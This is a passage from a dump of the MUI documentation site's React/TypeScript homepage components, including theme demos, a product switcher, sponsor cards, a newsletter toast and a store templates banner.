[customized, setCustomized] = React.useState(false);\n  const theme = customized ? customTheme : defaultTheme;\n  return (\n    <div>\n      <Box sx={{ mt: { xs: 2, md: 2 }, mb: 4, display: 'flex', justifyContent: 'center' }}>\n        <StyledChip\n          size=\"small\"\n          label=\"Custom theme\"\n          variant={customized ? 'filled' : 'outlined'}\n          color={customized ? 'primary' : 'secondary'}\n          onClick={() => setCustomized(true)}\n          sx={{ mr: 1 }}\n        />\n        <StyledChip\n          size=\"small\"\n          label=\"Material Design\"\n          variant={!customized ? 'filled' : 'outlined'}\n          color={!customized ? 'primary' : 'secondary'}\n          onClick={() => setCustomized(false)}\n        />\n      </Box>\n      <Grid>\n        <div>\n          <Demo\n            theme={theme}\n            name=\"Button\"\n            control={{ prop: 'size', values: ['small', 'medium', 'large'], defaultValue: 'medium' }}\n          >\n            <Button variant=\"contained\" startIcon={<ShoppingCartRounded />}>\n              Add to Cart\n            </Button>\n          </Demo>\n        </div>\n        <div>\n          <Demo\n            theme={theme}\n            name=\"Alert\"\n            control={{ prop: 'variant', values: ['standard', 'filled', 'outlined'] }}\n          >\n            <Alert color=\"info\">Check out this alert!</Alert>\n          </Demo>\n        </div>\n        <div>\n          <Demo\n            theme={theme}\n            name=\"Text Field\"\n            control={{ prop: 'variant', values: ['outlined', 'standard', 'filled'] }}\n          >\n            <TextField id=\"material-design-textfield\" label=\"Username\" defaultValue=\"Ultraviolet\" />\n          </Demo>\n        </div>\n        <div>\n          <Demo theme={theme} name=\"Menu\">\n            <React.Fragment>\n              <Button onClick={(event) => setAnchor(event.target as HTMLElement)}>\n                Click to open\n              </Button>\n              <Menu\n                open={Boolean(anchor)}\n                anchorEl={anchor}\n                onClose={() => setAnchor(null)}\n                slotProps={{ paper: { variant: 'outlined', elevation: 0 } }}\n              >\n                <MenuItem>\n                  <ListItemIcon>\n                    <MailRounded />\n                  </ListItemIcon>\n                  Contact\n                </MenuItem>\n                <MenuItem>\n                  <ListItemIcon>\n                    <VerifiedUserRounded />\n                  </ListItemIcon>\n                  Security\n                </MenuItem>\n                <MenuItem>\n                  <ListItemIcon>\n                    <HelpCenterRounded />\n                  </ListItemIcon>\n                  About us\n                </MenuItem>\n              </Menu>\n            </React.Fragment>\n          </Demo>\n        </div>\n        <div>\n          <Demo theme={theme} name=\"Table\">\n            <TableContainer\n              component={Paper}\n              variant=\"outlined\"\n              sx={{\n                '& .MuiTableBody-root > .MuiTableRow-root:last-of-type > .MuiTableCell-root': {\n                  borderBottomWidth: 0,\n                },\n              }}\n            >\n              <Table aria-label=\"demo table\">\n                <TableHead>\n                  <TableRow>\n                    <TableCell>Dessert</TableCell>\n                    <TableCell>Calories</TableCell>\n                  </TableRow>\n                </TableHead>\n                <TableBody>\n                  <TableRow>\n                    <TableCell>Frozen yoghurt</TableCell>\n                    <TableCell>109</TableCell>\n                  </TableRow>\n                  <TableRow>\n                    <TableCell>Cupcake</TableCell>\n                    <TableCell>305</TableCell>\n                  </TableRow>\n                </TableBody>\n              </Table>\n            </TableContainer>\n          </Demo>\n        </div>\n        <Box\n          sx={{\n            textAlign: 'center',\n            display: 'flex',\n            flexDirection: 'column',\n            justifyContent: 'center',\n            alignItems: 'center',\n          }}\n        >\n          <Typography variant=\"body2\" sx={{ fontWeight: 'bold', mb: 0.5 }}>\n            Want to see more?\n          </Typography>\n          <Typography\n            variant=\"body2\"\n            sx={{ color: 'text.secondary', mb: 0.5, maxWidth: 250, mx: 'auto' }}\n          >\n            Check out the docs for details of the complete library.\n          </Typography>\n          <Button\n            component={Link}\n            noLinkStyle\n            href={ROUTES.documentation}\n            endIcon={<KeyboardArrowRightRounded />}\n          >\n            Learn more\n          </Button>\n        </Box>\n      </Grid>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/MaterialDesignDemo.tsx",
    "content": "import * as React from 'react';\nimport MuiChip from '@mui/material/Chip';\nimport MuiCardMedia from '@mui/material/CardMedia';\nimport MuiCard, { CardProps } from '@mui/material/Card';\nimport MuiSwitch from '@mui/material/Switch';\nimport MuiTypography from '@mui/material/Typography';\nimport MuiStack from '@mui/material/Stack';\nimport MuiRating from '@mui/material/Rating';\nimport { withPointer } from 'docs/src/components/home/ElementPointer';\n\nexport const componentCode = `\n<Card>\n  <CardMedia\n    component=\"img\"\n    alt=\"Yosemite National Park\"\n    image=\"/static/images/cards/yosemite.jpeg\"\n  />\n  <Stack direction=\"row\" spacing={3} sx={{ alignItems: 'center', p: 2 }} useFlexGap>\n    <Stack direction=\"column\" spacing={0.5} useFlexGap>\n      <Typography>Yosemite National Park, California, USA</Typography>\n      <Stack direction=\"row\" spacing={1} useFlexGap>\n        <Chip\n          size=\"small\"\n          label={active ? 'Active' : 'Inactive'}\n          color={active ? 'success' : 'default'}\n        />\n        <Rating defaultValue={4} size=\"small\" />\n      </Stack>\n    </Stack>\n    <Switch checked={active} />\n  </Stack>\n</Card>\n`;\n\nconst Card = withPointer(MuiCard, { id: 'card', name: 'Card' });\nconst CardMedia = withPointer(MuiCardMedia, { id: 'cardmedia', name: 'CardMedia' });\nconst Stack = withPointer(MuiStack, { id: 'stack', name: 'Stack' });\nconst Stack2 = withPointer(MuiStack, { id: 'stack2', name: 'Stack' });\nconst Stack3 = withPointer(MuiStack, { id: 'stack3', name: 'Stack' });\nconst Typography = withPointer(MuiTypography, { id: 'typography', name: 'Typography' });\nconst Chip = withPointer(MuiChip, { id: 'chip', name: 'Chip' });\nconst Rating = withPointer(MuiRating, { id: 'rating', name: 'Rating' });\nconst Switch = withPointer(MuiSwitch, { id: 'switch', name: 'Switch' });\n\nexport default function MaterialDesignDemo(props: CardProps) {\n  const [active, setActive] = React.useState(true);\n  return (\n    <Card {...props} variant=\"outlined\" sx={{ p: 2 }}>\n      <CardMedia\n        component=\"img\"\n        alt=\"Yosemite National Park\"\n        height=\"100\"\n        image=\"/static/images/cards/yosemite.jpeg\"\n        sx={{ borderRadius: 0.5 }}\n      />\n      <Stack direction=\"row\" spacing={3} sx={{ alignItems: 'center', mt: 2 }} useFlexGap>\n        <Stack2 direction=\"column\" spacing={0.5} useFlexGap>\n          <Typography sx={{ fontWeight: 'semiBold' }}>\n            Yosemite National Park, California, USA\n          </Typography>\n          <Stack3 direction=\"row\" spacing={1} useFlexGap>\n            <Chip\n              label={active ? 'Active' : 'Inactive'}\n              color={active ? 'success' : 'default'}\n              size=\"small\"\n              sx={{ width: 'fit-content', fontSize: 12, height: 20, px: 0, zIndex: 2 }}\n            />\n            <Rating name=\"Rating component\" defaultValue={4} size=\"small\" />\n          </Stack3>\n        </Stack2>\n        <Switch\n          slotProps={{ input: { 'aria-label': active ? 'Active' : 'Inactive' } }}\n          checked={active}\n          onChange={(event) => setActive(event.target.checked)}\n          sx={{ ml: 'auto' }}\n        />\n      </Stack>\n    </Card>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/MuiStatistics.tsx",
    "content": "import { alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\n\nconst data = [\n  { title: '5.8M', metadata: 'Weekly downloads on npm' },\n  { title: '93.9k', metadata: 'Stars on GitHub' },\n  { title: '3.0k', metadata: 'Open-source contributors' },\n  { title: '19.2k', metadata: 'Followers on X' },\n];\n\nexport default function MuiStatistics() {\n  return (\n    <Box\n      data-mui-color-scheme=\"dark\"\n      sx={(theme) => ({\n        pt: { xs: 1, sm: 2.5 },\n        pb: { xs: 2, sm: 3 },\n        pl: { xs: 2, sm: 0 },\n        pr: 0,\n        display: 'flex',\n        justifyContent: 'center',\n        gap: { xs: 0, sm: 1 },\n        width: '100%',\n        flexWrap: 'wrap',\n        background: `linear-gradient(180deg, ${alpha(\n          theme.palette.primary[900],\n          0.1,\n        )} 2%, transparent 80%)`,\n      })}\n    >\n      {data.map((item) => (\n        <Box key={item.title} sx={{ width: { xs: '50%', sm: 200 }, p: { xs: 1, sm: 0 } }}>\n          <Typography\n            variant=\"h4\"\n            component=\"h3\"\n            sx={[\n              {\n                fontWeight: 'semiBold',\n              },\n              (theme) => ({\n                textAlign: { xs: 'left', sm: 'center' },\n                color: 'primary.main',\n                ...theme.applyDarkStyles({\n                  color: 'primary.200',\n                }),\n              }),\n            ]}\n          >\n            {item.title}\n          </Typography>\n          <Typography\n            variant=\"body2\"\n            sx={{ color: 'text.secondary', textAlign: { xs: 'left', sm: 'center' } }}\n          >\n            {item.metadata}\n          </Typography>\n        </Box>\n      ))}\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/NewsletterToast.tsx",
    "content": "import * as React from 'react';\nimport { useRouter } from 'next/router';\nimport Slide from '@mui/material/Slide';\nimport Box from '@mui/material/Box';\nimport Card from '@mui/material/Card';\nimport IconButton from '@mui/material/IconButton';\nimport Typography from '@mui/material/Typography';\nimport CloseRounded from '@mui/icons-material/CloseRounded';\nimport MarkEmailReadTwoTone from '@mui/icons-material/MarkEmailReadTwoTone';\n\nexport default function NewsletterToast() {\n  const router = useRouter();\n  const [hidden, setHidden] = React.useState(router.query.newsletter !== 'subscribed');\n  React.useEffect(() => {\n    if (router.query.newsletter === 'subscribed') {\n      setHidden(false);\n      router.replace(router.pathname);\n    }\n  }, [router.query.newsletter, router]);\n  React.useEffect(() => {\n    const time = setTimeout(() => {\n      if (!hidden) {\n        setHidden(true);\n      }\n    }, 4000);\n    return () => {\n      clearTimeout(time);\n    };\n  }, [hidden]);\n  return (\n    <Slide in={!hidden} timeout={400} direction=\"down\">\n      <Box sx={{ position: 'fixed', zIndex: 1300, top: 80, left: 0, width: '100%' }}>\n        <Card\n          variant=\"outlined\"\n          role=\"alert\"\n          sx={(theme) => ({\n            p: 1,\n            position: 'absolute',\n            left: '50%',\n            transform: 'translate(-50%)',\n            opacity: hidden ? 0 : 1,\n            transition: '0.5s',\n            display: 'flex',\n            alignItems: 'center',\n            boxShadow: '0px 4px 20px rgba(61, 71, 82, 0.25)',\n            ...theme.applyDarkStyles({\n              boxShadow: '0px 4px 20px rgba(0, 0, 0, 0.6)',\n            }),\n          })}\n        >\n          <MarkEmailReadTwoTone color=\"success\" sx={{ mx: 0.5 }} />\n          <div>\n            <Typography\n              variant=\"body2\"\n              sx={{ color: 'text.secondary', fontWeight: 500, ml: 1, mr: 2 }}\n            >\n              You have subscribed to MUI newsletter.\n            </Typography>\n          </div>\n          <IconButton aria-hidden size=\"small\" onClick={() => setHidden(true)} aria-label=\"close\">\n            <CloseRounded fontSize=\"small\" />\n          </IconButton>\n        </Card>\n      </Box>\n    </Slide>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/ProductSuite.tsx",
    "content": "import * as React from 'react';\nimport dynamic from 'next/dynamic';\nimport { useInView } from 'react-intersection-observer';\nimport Grid from '@mui/material/Grid';\nimport Box, { BoxProps } from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Section from 'docs/src/layouts/Section';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport ProductsSwitcher from 'docs/src/components/home/ProductsSwitcher';\nimport { PrefetchStoreTemplateImages } from 'docs/src/components/home/StoreTemplatesBanner';\nimport { PrefetchDesignKitImages } from 'docs/src/components/home/DesignKits';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\n\nfunction createLoading(sx: BoxProps['sx']) {\n  return function Loading() {\n    return (\n      <Box\n        sx={[\n          (theme) => ({\n            borderRadius: 1,\n            bgcolor: 'grey.100',\n            ...theme.applyDarkStyles({\n              bgcolor: 'primaryDark.800',\n            }),\n          }),\n          ...(Array.isArray(sx) ? sx : [sx]),\n        ]}\n      />\n    );\n  };\n}\n\nconst CoreShowcase = dynamic(() => import('./CoreShowcase'), {\n  loading: createLoading({ height: 630 }),\n});\n\nconst AdvancedShowcase = dynamic(() => import('./AdvancedShowcase'), {\n  loading: createLoading({ height: 630 }),\n});\n\nconst StoreTemplatesBanner = dynamic(() => import('./StoreTemplatesBanner'));\nconst DesignKits = dynamic(() => import('./DesignKits'));\n\nexport default function ProductSuite() {\n  const [productIndex, setProductIndex] = React.useState(0);\n  const { ref, inView } = useInView({\n    triggerOnce: true,\n    threshold: 0,\n    rootMargin: '200px',\n  });\n\n  return (\n    <Section bg=\"gradient\" ref={ref} cozy>\n      <Grid container spacing={2}>\n        <Grid size={{ md: 6 }} sx={{ minHeight: { md: 630 } }}>\n          <SectionHeadline\n            overline=\"Products\"\n            title={\n              <Typography variant=\"h2\">\n                Every component you need is <GradientText>ready for production</GradientText>\n              </Typography>\n            }\n            description=\"Build at an accelerated pace without sacrificing flexibility or control.\"\n          />\n          <ProductsSwitcher\n            inView={inView}\n            productIndex={productIndex}\n            setProductIndex={setProductIndex}\n          />\n        </Grid>\n        <Grid\n          sx={productIndex === 0 ? { minHeight: { xs: 777, sm: 757, md: 'unset' } } : {}}\n          size={{ xs: 12, md: 6 }}\n        >\n          {inView ? (\n            <React.Fragment>\n              <PrefetchStoreTemplateImages />\n              <PrefetchDesignKitImages />\n              {productIndex === 0 && <CoreShowcase />}\n              {productIndex === 1 && <AdvancedShowcase />}\n              {productIndex === 2 && <StoreTemplatesBanner />}\n              {productIndex === 3 && <DesignKits />}\n            </React.Fragment>\n          ) : (\n            <Box sx={{ height: { xs: 0, md: 690 } }} />\n          )}\n        </Grid>\n      </Grid>\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/ProductsSwitcher.tsx",
    "content": "import * as React from 'react';\nimport dynamic from 'next/dynamic';\nimport { Theme } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport useMediaQuery from '@mui/material/useMediaQuery';\nimport Typography from '@mui/material/Typography';\nimport Stack from '@mui/material/Stack';\nimport IconImage from '@mui/docs/IconImage';\nimport Highlighter from 'docs/src/components/action/Highlighter';\nimport SvgMuiLogomark from 'docs/src/icons/SvgMuiLogomark';\n\nconst SwipeableViews = dynamic(() => import('react-swipeable-views'), { ssr: false });\n\nfunction ProductItem({\n  icon,\n  name,\n  description,\n  chip,\n}: {\n  icon: React.ReactNode;\n  name: React.ReactNode;\n  description: React.ReactNode;\n  chip?: React.ReactNode;\n}) {\n  return (\n    <Box\n      component=\"span\"\n      sx={{\n        width: '100%',\n        display: 'flex',\n        alignItems: 'center',\n        justifyContent: 'space-between',\n      }}\n    >\n      <Box\n        component=\"span\"\n        sx={{\n          p: 2,\n          display: 'flex',\n          flexDirection: { xs: 'column', md: 'row' },\n          alignItems: { md: 'center' },\n          gap: 2.5,\n        }}\n      >\n        <Box\n          component=\"span\"\n          sx={{\n            height: 32,\n            width: 32,\n            display: 'flex',\n            alignItems: 'center',\n            justifyContent: 'center',\n            flexShrink: 0,\n          }}\n        >\n          {icon}\n        </Box>\n        <span>\n          <Box component=\"span\" sx={{ display: 'flex', alignItems: 'center', gap: 1 }}>\n            <Typography\n              component=\"span\"\n              variant=\"body2\"\n              sx={{ color: 'text.primary', fontWeight: 'semiBold' }}\n            >\n              {name}\n            </Typography>\n            {chip}\n          </Box>\n          <Typography\n            component=\"span\"\n            variant=\"body2\"\n            sx={{ color: 'text.secondary', fontWeight: 'regular', my: 0.5 }}\n          >\n            {description}\n          </Typography>\n        </span>\n      </Box>\n    </Box>\n  );\n}\n\nexport default function ProductsSwitcher(props: {\n  inView?: boolean;\n  productIndex: number;\n  setProductIndex: React.Dispatch<React.SetStateAction<number>>;\n}) {\n  const { inView = false, productIndex, setProductIndex } = props;\n  const isBelowMd = useMediaQuery((theme: Theme) => theme.breakpoints.down('md'));\n  const productElements = [\n    <ProductItem\n      name=\"Material UI\"\n      description=\"Foundational components for shipping features faster.\"\n      icon={<SvgMuiLogomark height={28} width={28} />}\n    />,\n    <ProductItem\n      name=\"MUI X\"\n      description=\"Advanced components for complex use cases.\"\n      icon={<IconImage name=\"product-advanced\" height={32} width={32} />}\n    />,\n    <ProductItem\n      name=\"Templates\"\n      description=\"Professionally built UIs to jumpstart your next project.\"\n      icon={<IconImage name=\"product-templates\" height={32} width={32} />}\n    />,\n    <ProductItem\n      name=\"Design kits\"\n      description=\"The core components available on your favorite design tool.\"\n      icon={<IconImage name=\"product-designkits\" height={32} width={32} />}\n    />,\n  ];\n  return (\n    <React.Fragment>\n      <Box\n        sx={{\n          display: { md: 'none' },\n          maxWidth: 'calc(100vw - 40px)',\n          minHeight: { xs: 200, sm: 166 },\n          '& > div': { pr: '32%' },\n        }}\n      >\n        {isBelowMd && inView && (\n          <SwipeableViews\n            index={productIndex}\n            resistance\n            enableMouseEvents\n            onChangeIndex={(index) => setProductIndex(index)}\n          >\n            {productElements.map((elm, index) => (\n              <Highlighter\n                key={index}\n                disableBorder\n                onClick={() => setProductIndex(index)}\n                selected={productIndex === index}\n                sx={{\n                  width: '100%',\n                  transition: '0.3s',\n                  transform: productIndex !== index ? 'scale(0.9)' : 'scale(1)',\n                }}\n              >\n                {elm}\n              </Highlighter>\n            ))}\n          </SwipeableViews>\n        )}\n      </Box>\n      <Stack spacing={1} sx={{ display: { xs: 'none', md: 'flex' }, maxWidth: 500 }}>\n        {productElements.map((elm, index) => (\n          <Highlighter\n            key={index}\n            disableBorder\n            onClick={() => setProductIndex(index)}\n            selected={productIndex === index}\n          >\n            {elm}\n          </Highlighter>\n        ))}\n      </Stack>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/References.tsx",
    "content": "import dynamic from 'next/dynamic';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Section from 'docs/src/layouts/Section';\nimport {\n  CORE_CUSTOMERS,\n  ADVANCED_CUSTOMERS,\n  DESIGNKITS_CUSTOMERS,\n  TEMPLATES_CUSTOMERS,\n} from 'docs/src/components/home/CompaniesGrid';\n\nexport { CORE_CUSTOMERS, ADVANCED_CUSTOMERS, DESIGNKITS_CUSTOMERS, TEMPLATES_CUSTOMERS };\n\nconst CompaniesGrid = dynamic(() => import('./CompaniesGrid'));\n\nexport default function References({\n  companies,\n}: {\n  companies:\n    | typeof CORE_CUSTOMERS\n    | typeof ADVANCED_CUSTOMERS\n    | typeof DESIGNKITS_CUSTOMERS\n    | typeof TEMPLATES_CUSTOMERS;\n}) {\n  return (\n    <Section cozy bg=\"transparent\">\n      <Box sx={{ minHeight: { xs: 236, sm: 144, md: 52 } }}>\n        <CompaniesGrid data={companies} />\n      </Box>\n      <Typography\n        variant=\"body2\"\n        sx={{\n          textAlign: 'center',\n          color: 'text.secondary',\n          mt: 4,\n          mx: 'auto',\n          maxWidth: 400,\n\n          // hard-coded to reduce CLS (layout shift)\n          minHeight: 42,\n        }}\n      >\n        The world&apos;s best product teams trust MUI to deliver an unrivaled experience for both\n        developers and users.\n      </Typography>\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/ShowcaseContainer.tsx",
    "content": "import * as React from 'react';\nimport Box, { BoxProps } from '@mui/material/Box';\nimport Fade from '@mui/material/Fade';\nimport NoSsr from '@mui/material/NoSsr';\nimport Frame from 'docs/src/components/action/Frame';\n\nexport function ShowcaseCodeWrapper({\n  children,\n  clip,\n  hasDesignToggle,\n  maxHeight,\n  sx,\n}: {\n  clip?: boolean;\n  children: React.ReactNode;\n  hasDesignToggle?: boolean;\n  maxHeight: number | string;\n  sx?: BoxProps['sx'];\n}) {\n  return (\n    <Box\n      sx={{\n        p: 2,\n        pt: hasDesignToggle ? 7 : 2,\n        maxHeight: { xs: 'auto', sm: maxHeight },\n        position: 'relative',\n        display: 'flex',\n        overflow: clip ? 'clip' : 'auto',\n        flexGrow: 1,\n        '&::-webkit-scrollbar': {\n          display: 'none',\n        },\n        ...sx,\n      }}\n    >\n      {children}\n    </Box>\n  );\n}\n\nexport default function ShowcaseContainer({\n  code,\n  noPadding,\n  preview,\n  sx,\n}: {\n  code?: React.ReactNode;\n  noPadding?: boolean;\n  preview?: React.ReactNode;\n  sx?: BoxProps['sx'];\n}) {\n  return (\n    <Fade in timeout={700}>\n      <Box\n        sx={{\n          display: 'flex',\n          flexDirection: 'column',\n          height: '100%',\n          '& > div:first-of-type': {\n            borderTopLeftRadius: '12px',\n            borderTopRightRadius: '12px',\n          },\n          '& > div:last-of-type': {\n            borderBottomLeftRadius: '12px',\n            borderBottomRightRadius: '12px',\n          },\n          ...sx,\n        }}\n      >\n        <Frame.Demo\n          sx={{\n            p: noPadding ? 0 : 2,\n            minHeight: 220,\n            position: 'relative',\n            display: 'flex',\n            justifyContent: 'center',\n            alignItems: 'center',\n          }}\n        >\n          {preview}\n        </Frame.Demo>\n        {code ? (\n          <Frame.Info data-mui-color-scheme=\"dark\" sx={{ p: 0 }}>\n            <NoSsr>{code}</NoSsr>\n          </Frame.Info>\n        ) : null}\n      </Box>\n    </Fade>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/SponsorCard.tsx",
    "content": "import Avatar from '@mui/material/Avatar';\nimport Typography from '@mui/material/Typography';\nimport Paper from '@mui/material/Paper';\nimport { Link } from '@mui/docs/Link';\n\nexport default function SponsorCard(props: {\n  item: {\n    src: string;\n    srcDark?: string;\n    srcSet?: string;\n    name: string;\n    description: string;\n    href: string;\n  };\n  inView?: boolean;\n  logoSize?: number | string;\n}) {\n  const { item, inView = false, logoSize = 40 } = props;\n  // Keep it under two rows maximum.\n  if (item.description.length > 50 && logoSize === 40) {\n    throw new Error(\n      `${item.name}'s description is too long (${item.description.length} characters). It must fit into two line, so under 50 characters.`,\n    );\n  }\n\n  return (\n    <Paper\n      component={Link}\n      noLinkStyle\n      data-ga-event-category=\"sponsor\"\n      data-ga-event-action=\"homepage\"\n      data-ga-event-label={new URL(item.href).hostname}\n      href={item.href}\n      target=\"_blank\"\n      rel=\"sponsored noopener\"\n      variant=\"outlined\"\n      sx={{\n        p: 2,\n        display: 'flex',\n        gap: 2,\n        height: '100%',\n      }}\n    >\n      <Avatar\n        {...(inView && { src: item.src, srcSet: item.srcSet, alt: `${item.name} logo` })}\n        sx={[\n          { borderRadius: '4px', width: logoSize, height: logoSize },\n          (theme) =>\n            item.srcDark\n              ? theme.applyDarkStyles({\n                  content: `url(${item.srcDark})`,\n                })\n              : null,\n        ]}\n        slotProps={{ img: { loading: 'lazy' } }}\n      />\n      <div>\n        <Typography variant=\"body2\" sx={{ fontWeight: 'semiBold', mb: '2px' }}>\n          {item.name}\n        </Typography>\n        <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n          {item.description}\n        </Typography>\n      </div>\n    </Paper>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/Sponsors.tsx",
    "content": "import Typography from '@mui/material/Typography';\nimport Section from 'docs/src/layouts/Section';\nimport DiamondSponsors from 'docs/src/components/home/DiamondSponsors';\nimport GoldSponsors from 'docs/src/components/home/GoldSponsors';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\nimport GradientText from 'docs/src/components/typography/GradientText';\n\nexport default function Sponsors() {\n  return (\n    <Section cozy>\n      <SectionHeadline\n        id=\"sponsors\"\n        overline=\"Sponsors\"\n        title={\n          <Typography variant=\"h2\" sx={{ my: 1 }}>\n            <GradientText>You</GradientText> make this possible\n          </Typography>\n        }\n        description=\"The development of these open-source tools is accelerated by our generous sponsors.\"\n      />\n      <DiamondSponsors />\n      <GoldSponsors />\n    </Section>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/StartToday.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport GradientText from 'docs/src/components/typography/GradientText';\nimport GetStartedButtons from 'docs/src/components/home/GetStartedButtons';\nimport SectionHeadline from '@mui/docs/SectionHeadline';\n\nexport default function StartToday() {\n  return (\n    <Box\n      sx={{ display: 'flex', flexDirection: 'column', alignItems: { xs: 'auto', sm: 'center' } }}\n    >\n      <SectionHeadline\n        alwaysCenter\n        overline=\"Start now\"\n        title={\n          <Typography variant=\"h2\">\n            Ship your next project <GradientText>faster</GradientText>\n          </Typography>\n        }\n        description=\"Find out why MUI's tools are trusted by thousands of open-source developers and teams around the world.\"\n      />\n      <GetStartedButtons primaryLabel=\"Discover the Core libraries\" primaryUrl=\"/core/\" />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/src/components/home/StoreTemplatesBanner.tsx",
    "content": "import * as React from 'react';\nimport { styled, alpha } from '@mui/material/styles';\nimport Box, { BoxProps } from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport LaunchRounded from '@mui/icons-material/LaunchRounded';\nimport Slide from 'docs/src/components/animation/Slide';\nimport FadeDelay from 'docs/src/components/animation/FadeDelay';\n\nconst ratio = 900 / 494;\n\n// 'transparent' is interpreted as transparent black in Safari\n// See https://css-tricks.com/thing-know-gradients-transparent-black/\nconst transparent = 'rgba(255,255,255,0)';\n\nconst Image = styled('img')(({ theme }) => ({\n  display: 'block',\n  width: 200,\n  height: 200 / ratio,\n  [theme.breakpoints.up('sm')]: {\n    width: 300,\n    height: 300 / ratio,\n  },\n  [theme.breakpoints.up('md')]: {\n    width: 450,\n    height: 450 / ratio,\n  },\n  border: '4px solid',\n  borderColor: (theme.vars || theme).palette.grey[400],\n  borderRadius: (theme.vars || theme).shape.borderRadius,\n  objectFit: 'cover',\n  objectPosition: 'top',\n  boxShadow: '0px 4px 20px rgba(61, 71, 82, 0.25)',\n  ...theme.applyDarkStyles({\n    borderColor: (theme.vars || theme).palette.grey[800],\n    boxShadow: '0px 4px 20px rgba(0, 0, 0, 0.6)',\n  }),\n}));\n\nconst Anchor = styled('a')({\n  display: 'inline-block',\n  position: 'relative',\n  transition: '0.3s',\n  '&:hover, &:focus': {\n    '& > div': {\n      opacity: 1,\n    },\n  },\n});\n\nconst linkMapping = {\n  minimal: 'https://mui.com/store/items/minimal-dashboard/',\n  theFront: 'https://mui.com/store/items/the-front-landing-page/',\n  miro: 'https://mui.com/store/items/mira-pro-react-material-admin-dashboard/',\n  devias: 'https://mui.com/store/items/devias-kit-pro/',\n  berry: 'https://mui.com/store/items/berry-react-material-admin/',\n  webbee: 'https://mui.com/store/items/webbee-landing-page/',\n};\nconst brands = Object.keys(linkMapping) as Array<keyof typeof linkMapping>;\n\ntype TemplateBrand = (typeof brands)[number];\n\nconst StoreTemplateLink = React.forwardRef<\n  HTMLAnchorElement,\n  React.PropsWithChildren<{\n    brand: TemplateBrand;\n  }>\n>(function StoreTemplateLink({ brand, ...props }, ref) {\n  return (\n    <Anchor\n      ref={ref}\n      aria-label=\"Go to MUI Store\"\n      href={`${linkMapping[brand]}?utm_source=marketing&utm_medium=referral&utm_campaign=home-cta`}\n      target=\"_blank\"\n      {...props}\n    >\n      {props.children}\n      <Box\n        sx={{\n          transition: '0.3s',\n          borderRadius: 1,\n          position: 'absolute',\n          width: '100%',\n          height: '100%',\n          opacity: 0,\n          top: 0,\n          left: 0,\n          bgcolor: (theme) => alpha(theme.palette.primaryDark[500], 0.8),\n          color: '#fff',\n          display: 'flex',\n          alignItems: 'center',\n          justifyContent: 'center',\n        }}\n      >\n        <Typography sx={{ fontWeight: 'bold' }}>Go to store</Typography>\n        <LaunchRounded fontSize=\"small\" sx={{ ml: 1 }} />\n      </Box>\n    </Anchor>\n  );\n});\n\nconst StoreTemplateImage = React.forwardRef<\n  HTMLImageElement,\n  { brand: TemplateBrand } & Omit<React.JSX.IntrinsicElements['img'], 'ref'>\n>(function StoreTemplateImage({ brand, ...props }, ref) {\n  return (\n    <Image\n      ref={ref}\n      src={`/static/branding/store-templates/template-${\n        Object.keys(linkMapping).indexOf(brand) + 1\n      }light.jpg`}\n      alt=\"\"\n      loading=\"lazy\"\n      sx={(theme) =>\n        theme.applyDarkStyles({\n          content: `url(/static/branding/store-templates/template-${\n            Object.keys(linkMapping).indexOf(brand) + 1\n          }dark.jpg)`,\n        })\n      }\n      {...props}\n    />\n  );\n});\n\nexport function PrefetchStoreTemplateImages() {\n  function makeImg(mode: string, num: number) {\n    return {\n      loading: 'lazy' as const,\n      width: '900',\n      height: '494',\n      src: `/static/branding/store-templates/template-${num}${mode}.jpg`,\n    };\n  }\n  return (\n    <Box\n      sx={{\n        width: 0,\n        height: 0,\n        position: 'fixed',\n        zIndex: -1,\n        top: -1000,\n        '& > img': {\n          position: 'absolute',\n        },\n      }}\n    >\n      {[...Array(6)].map((_, index) => (\n        <React.Fragment key={index}>\n          <img alt=\"\" {...makeImg('light', index + 1)} />\n          <img alt=\"\" {...makeImg('dark', index + 1)} />\n        </React.Fragment>\n      ))}\n    </Box>\n  );\n}\n\nconst defaultSlideDown = {\n  '0%': {\n    transform: 'translateY(-300px)',\n  },\n  '100%': {\n    transform: 'translateY(-60px)',\n  },\n};\nexport function StoreTemplatesSet1({\n  keyframes = defaultSlideDown,\n  disableLink,\n  ...props\n}: { disableLink?: boolean; keyframes?: Record<string, object> } & BoxProps) {\n  function renderTemplate(brand: TemplateBrand) {\n    if (disableLink) {\n      return <StoreTemplateImage brand={brand} />;\n    }\n    return (\n      <StoreTemplateLink brand={brand}>\n        <StoreTemplateImage brand={brand} />\n      </StoreTemplateLink>\n    );\n  }\n  return (\n    <Slide animationName=\"template-slidedown\" {...props} keyframes={keyframes}>\n      <FadeDelay delay={400}>{renderTemplate(brands[4])}</FadeDelay>\n      <FadeDelay delay={200}>{renderTemplate(brands[2])}</FadeDelay>\n      <FadeDelay delay={0}>{renderTemplate(brands[0])}</FadeDelay>\n    </Slide>\n  );\n}\n\nconst defaultSlideUp = {\n  '0%': {\n    transform: 'translateY(150px)',\n  },\n  '100%': {\n    transform: 'translateY(-20px)',\n  },\n};\nexport function StoreTemplatesSet2({\n  keyframes = defaultSlideUp,\n  disableLink,\n  ...props\n}: { disableLink?: boolean; keyframes?: Record<string, object> } & BoxProps) {\n  function renderTemplate(brand: TemplateBrand) {\n    if (disableLink) {\n      return <StoreTemplateImage brand={brand} />;\n    }\n    return (\n 